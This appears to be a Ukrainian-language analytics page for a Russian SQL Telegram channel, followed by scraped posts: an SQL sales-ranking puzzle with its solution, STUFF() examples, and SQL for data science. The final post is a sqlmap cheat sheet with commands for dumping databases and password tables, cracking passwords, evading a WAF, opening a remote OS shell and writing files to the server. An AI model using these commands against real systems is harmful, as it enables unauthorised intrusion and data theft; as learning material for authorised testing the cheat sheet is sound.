Data Science. SQL hub
По всем вопросам- @workakkk @itchannels_telegram - 🔥лучшие ит-каналы @ai_machinelearning_big_data - Machine learning @pythonl - Python @pythonlbooks- python книги📚 @datascienceiot - ml книги📚 РКН: https://vk.cc/cIi9vo #VRHSZ
Показати більше📈 Аналітичний огляд Telegram-каналу Data Science. SQL hub
Канал Data Science. SQL hub (@sqlhub) у мовному сегменті Російська є активним учасником. На даний момент спільнота об'єднує 36 078 підписників, посідаючи 3 727 місце в категорії Технології та додатки та 17 610 місце у регіоні Росія.
📊 Показники аудиторії та динаміка
З моменту свого створення невідомо, проект продемонстрував стрімке зростання, зібравши аудиторію у 36 078 підписників.
За останніми даними від 31 жовтня, 2026, канал демонструє стабільну активність. Хоча за останні 30 днів спостерігається зміна кількості учасників на 143, а за останні 24 години на -13, загальне охоплення залишається високим.
- Статус верифікації: Не верифікований
- Рівень залученості (ER): Середній показник залученості аудиторії становить 8.65%. Протягом перших 24 годин після публікації контент зазвичай збирає 3.79% реакцій від загальної кількості підписників.
- Охоплення публікацій: В середньому кожен допис отримує 3 123 переглядів. Протягом першої доби публікація в середньому набирає 1 369 переглядів.
- Реакції та взаємодія: Аудиторія активно підтримує контент: середня кількість реакцій на один пост – 8.
- Тематичні інтереси: Контент зосереджений навколо ключових тем, таких як sql, индекс, postgres, index, sqlite.
📝 Опис та контентна політика
Автор описує ресурс як майданчик для висловлення суб'єктивної думки:
“По всем вопросам- @workakkk
@itchannels_telegram - 🔥лучшие ит-каналы
@ai_machinelearning_big_data - Machine learning
@pythonl - Python
@pythonlbooks- python книги📚
@datascienceiot - ml книги📚
РКН: https://vk.cc/cIi9vo
#VRHSZ”
Завдяки високій частоті оновлень (останні дані отримано 01 листопада, 2026), канал підтримує актуальність та високий рівень охоплення публікацій. Аналітика показує, що аудиторія активно взаємодіє з контентом, що робить його важливою точкою впливу в категорії Технології та додатки.
CREATE TABLE sales (
sale_id INT PRIMARY KEY,
product_id INT,
sale_date DATE,
sale_amount INT
);
CREATE TABLE products (
product_id INT PRIMARY KEY,
category VARCHAR(50),
price DECIMAL(10, 2)
);
🌟 Таблица sales содержит информацию о продажах: ID продажи (sale_id), ID продукта (product_id), дата продажи (sale_date) и количество проданных единиц (sale_amount)
🌟 Таблица products хранит данные о продуктах: ID продукта (product_id), категория продукта (category) и цена (price)
❓ Нужно создать запрос, который выполнит следующие действия:
🌟 Найти самую популярную категорию товаров по количеству продаж в каждом месяце.
🌟 Вывести результаты по месяцам, начиная с самого первого месяца продаж.
🌟 В каждой строке указать:
- Месяц (sale_month)
- Название категории (category)
- Общее количество проданных товаров в этой категории за месяц (total_sales)
- Разницу (difference) между текущими продажами категории и продажами этой же категории в предыдущем месяце. Если предыдущего месяца нет, вывести NULL
❗️ Решение:
WITH MonthlySales AS (
SELECT
DATE_FORMAT(sale_date, '%Y-%m') AS sale_month,
p.category,
SUM(sale_amount) AS total_sales
FROM sales s
JOIN products p ON s.product_id = p.product_id
GROUP BY DATE_FORMAT(sale_date, '%Y-%m'), p.category
),
RankedCategories AS (
SELECT
sale_month,
category,
total_sales,
ROW_NUMBER() OVER (PARTITION BY sale_month ORDER BY total_sales DESC) AS sales_rank
FROM MonthlySales
),
PopularCategories AS (
SELECT
sale_month,
category,
total_sales
FROM RankedCategories
WHERE sales_rank = 1
),
CategoryWithDifference AS (
SELECT
sale_month,
category,
total_sales,
LAG(total_sales, 1) OVER (PARTITION BY category ORDER BY sale_month) AS previous_sales
FROM PopularCategories
)
SELECT
sale_month,
category,
total_sales,
total_sales - previous_sales AS difference
FROM CategoryWithDifference
ORDER BY sale_month;
💡 Как это работает:
🌟 MonthlySales: Подзапрос агрегирует данные продаж по месяцам и категориям товаров, чтобы получить общее количество продаж (total_sales) в каждом месяце.
🌟 RankedCategories: Присваивает каждой категории её ранг (ROW_NUMBER()) в зависимости от количества продаж в месяц.
🌟 PopularCategories: Фильтрует только самую популярную категорию (с sales_rank = 1) для каждого месяца.
🌟 CategoryWithDifference: Использует оконную функцию LAG() для расчета разницы между продажами в текущем месяце и предыдущем
@sqlhubSELECT STUFF('Hello World', 7, 5, 'SQL') AS Result;
🌟 Результат: Hello SQL
🔍 Объяснение:
🌟 Начальная позиция: 7 — замена начинается с 7-го символа (буква W).
🌟 Длина: 5 — удаляем 5 символов (World).
🌟 Замещающая строка: 'SQL' — вставляем вместо удалённой подстроки
💡 Другой пример: иногда STUFF() используется совместно с другими функциями для создания строк с разделителями. Например, объединим значения из нескольких строк в одну строку через запятую:
SELECT
DepartmentID,
STUFF(
(SELECT ',' + EmployeeName
FROM Employees
WHERE DepartmentID = E.DepartmentID
FOR XML PATH('')),
1, 1, '') AS EmployeesList
FROM Employees E
GROUP BY DepartmentID;
🌟 В данном примере STUFF() удаляет первый символ запятой и создает аккуратный список сотрудников для каждого отдела
@sqlhub-- Выбираем транзакции с суммой выше среднего и сгруппированные по пользователям
SELECT user_id, AVG(transaction_amount) AS avg_amount
FROM transactions
GROUP BY user_id
HAVING AVG(transaction_amount) > (
SELECT AVG(transaction_amount) FROM transactions
);
Это простой запрос, но он помогает сразу увидеть клиентов, у которых уровень трат выше среднего.
🖥 2. Feature Engineering с SQL
Формирование признаков — ключевой этап для создания моделей. Используя SQL, можно легко создавать категориальные признаки, вычислять периоды между событиями и генерировать агрегированные значения.
Например, создание признака активности пользователя:
-- Количество покупок за последние 30 дней
SELECT user_id, COUNT(*) AS purchases_last_30_days
FROM purchases
WHERE purchase_date >= DATE_SUB(CURDATE(), INTERVAL 30 DAY)
GROUP BY user_id;
Такой запрос может быть полезен для прогнозирования оттока клиентов.
📈 3. Анализ временных рядов
Работа с временными рядами — это отдельная задача. SQL поддерживает такие функции, как скользящие средние и кумулятивные суммы.
-- Построение 7-дневного скользящего среднего по продажам
SELECT
sales_date,
sales_amount,
AVG(sales_amount) OVER (ORDER BY sales_date ROWS BETWEEN 6 PRECEDING AND CURRENT ROW) AS moving_avg_7_days
FROM sales_data;
Используя такие функции, можно получать первичный анализ временных рядов прямо из базы данных, без перехода к pandas или другим библиотекам.
📊 4. Построение аналитических отчетов
SQL — отличный инструмент для создания дашбордов и отчетов. Используя CTE (Common Table Expressions), подзапросы и оконные функции, можно строить сложные отчеты, которые сразу дадут глубокое понимание данных.
WITH monthly_sales AS (
SELECT
EXTRACT(MONTH FROM sales_date) AS month,
SUM(sales_amount) AS total_sales
FROM sales_data
GROUP BY EXTRACT(MONTH FROM sales_date)
)
SELECT
month,
total_sales,
LAG(total_sales) OVER (ORDER BY month) AS previous_month_sales,
total_sales - LAG(total_sales) OVER (ORDER BY month) AS growth
FROM monthly_sales;
Этот запрос позволит сразу увидеть динамику продаж по месяцам и рост относительно предыдущего периода
@sqlhub
sqlmap -u "http://example.com/page.php?id=1"
🌟 Автоматический дамп всех баз данных:
sqlmap -u "http://example.com/page.php?id=1" --dbs
🌟 Извлечение таблиц из конкретной базы данных:
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных --tables
🌟 Извлечение данных из конкретной таблицы:
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы --dump
🌟 Обход WAF (брандмауэра) с помощью указания пользовательского заголовка User-Agent:
sqlmap -u "http://example.com/page.php?id=1" --user-agent="Mozilla/5.0"
🌟 Подбор базы данных и получение информации о пользователях:
sqlmap -u "http://example.com/page.php?id=1" --current-db --current-user
🌟 Включение интерактивной оболочки (OS Shell) для удаленного выполнения команд:
sqlmap -u "http://example.com/page.php?id=1" --os-shell
🌟 Выполнение SQL-запросов вручную:
sqlmap -u "http://example.com/page.php?id=1" --sql-query "SELECT user, password FROM users"
🌟 Проверка на возможность подключения с правами администратора:
sqlmap -u "http://example.com/page.php?id=1" --is-dba
🌟 Брутфорсирование паролей пользователей:
sqlmap -u "http://example.com/page.php?id=1" --passwords
🌟 Загрузка файла на удаленный сервер:
sqlmap -u "http://example.com/page.php?id=1" --file-write="/path/to/local/file" --file-dest="/path/to/remote/file"
🌟 Получение списка столбцов из таблицы:
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы --columns
🌟 Использование прокси-сервера:
sqlmap -u "http://example.com/page.php?id=1" --proxy="http://127.0.0.1:8080"
🌟 Определение используемой базы данных и версии:
sqlmap -u "http://example.com/page.php?id=1" --banner
🌟 Атака на POST-запросы (если параметры передаются в теле):
sqlmap -u "http://example.com/login.php" --data="username=admin&password=admin"
@sqlhub